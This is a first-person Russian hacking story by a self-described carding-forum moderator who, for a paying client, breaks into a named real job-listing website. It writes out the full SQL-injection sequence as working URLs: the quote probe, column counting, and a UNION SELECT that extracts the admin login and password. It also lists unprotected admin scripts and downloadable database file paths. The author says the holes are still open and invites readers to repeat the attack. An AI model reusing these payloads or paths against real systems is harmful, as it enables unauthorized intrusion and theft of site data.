Сидя на больничном и играя в Героев V, я потихоньку обретал физическое и
душевное здоровье после изнурительного гриппа. К полуночи, пройдя очередную
миссию, я выключил игру и стал просматривать новые топики на модерируемом мною
форумном разделе «о цветах и бабочках» на одном из кардерских форумов. В этот
момент стукнулся ко мне чел, которому надо было срочно получить доступ к сайту
www.psgi.net. Глянув на сайт,
который практически весь состоял из статичного html, я хотел было уже отказаться
от его предложения, но на всякий случай решил пробить все страницы сайта через
поиск google.com - site: www.psgi.net.
Гугл вывалил полтора десятка страниц, из которых первые все ссылались на
html-страницы. И только в конце я увидел несколько ссылок на asp-скрипты,
которым передавались параметры:
http://www.psgi.net/careerdetail.asp?ID=1519
вбив кавычку, я получил ответ:
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'ID = 1403''.
/careerdetail.asp, line 8
Это был MSAccess, но разве это могло меня остановить? Тем более, что MSAccess
тоже подвержен инжекту, вот только синтаксис запросов немного отличается от SQL
- отсутствует комментарий в конце запроса.
После выяснения количества строк:
http://www.psgi.net/careerdetail.asp?ID=1519+order+by+8
мне предстояло самое трудное - подобрать название таблицы, ведь без нее в
инжекте MSAccess даже невозможно будет обнаружить вывод полей. Т.е. запрос
должен быть примерно таким:
http://www.psgi.net/careerdetail.asp?ID=1519+union+select+
1,2,3,4,5,6,7,8+from+[имя реально существующей таблицы]
Помучив немного базу я нашел название таблицы:
http://www.psgi.net/careerdetail.asp?ID=1403+union+select+1,2,3,4,5,6,7,8+from+tb_Admin
И еще через некоторое время вытянул из нее логин и пароль админа:
http://www.psgi.net/careerdetail.asp?ID=1403+union
+select+1,Password,3,UserID,5,6,7,8+from+tb_Admin
Какая сволочь решила назвать колонку с логином админа UserID? Где логика? Где
«круги Эллера», которыми мне загадили мозг на занятиях по логике в институте? Но
именно в такие моменты, когда законы логики вкупе с малопонятными «кругами»
перестают действовать, включается интуиция и она меня на этот раз не подвела.
Найдя и зайдя в админку:
http://psgi.net/Login.asp
я уже был готов скинуть логин и пароль админа знакомому в обмен на гонорар,
но тут обнаружил, что для редактирования данных о вакансиях по трудоустройству
(собственно знакомому и нужна была возможность их редактирования) даже не нужно
знать логина и пароля админа. Достаточно было только названия скриптов:
http://psgi.net/AdminViewJobs.asp
http://psgi.net/editjob.asp
Велик и могуч поток программерской мысли, не дай бог накроет... Ну и
напоследок, еще немного поковыряв сайт, я нашел и сами Access’ные базы:
http://psgi.net/databases/joblisting.mdb
http://psgi.net/databases/ProTech.mdb
Скинув все заказчику я отправился спать.
И вот по прошествию некоторого времени, с разрешения заказчика взлома, я
написал эту статью. Информация для заказчика перестала быть актуальной, зато
баги на сайте как были, так и остались без изменений. Так что в качестве
самообразования можешь повторить мои действия, может тогда и поймешь как я нашел
названия баз в закрытой для просмотра директории databases ;-).
|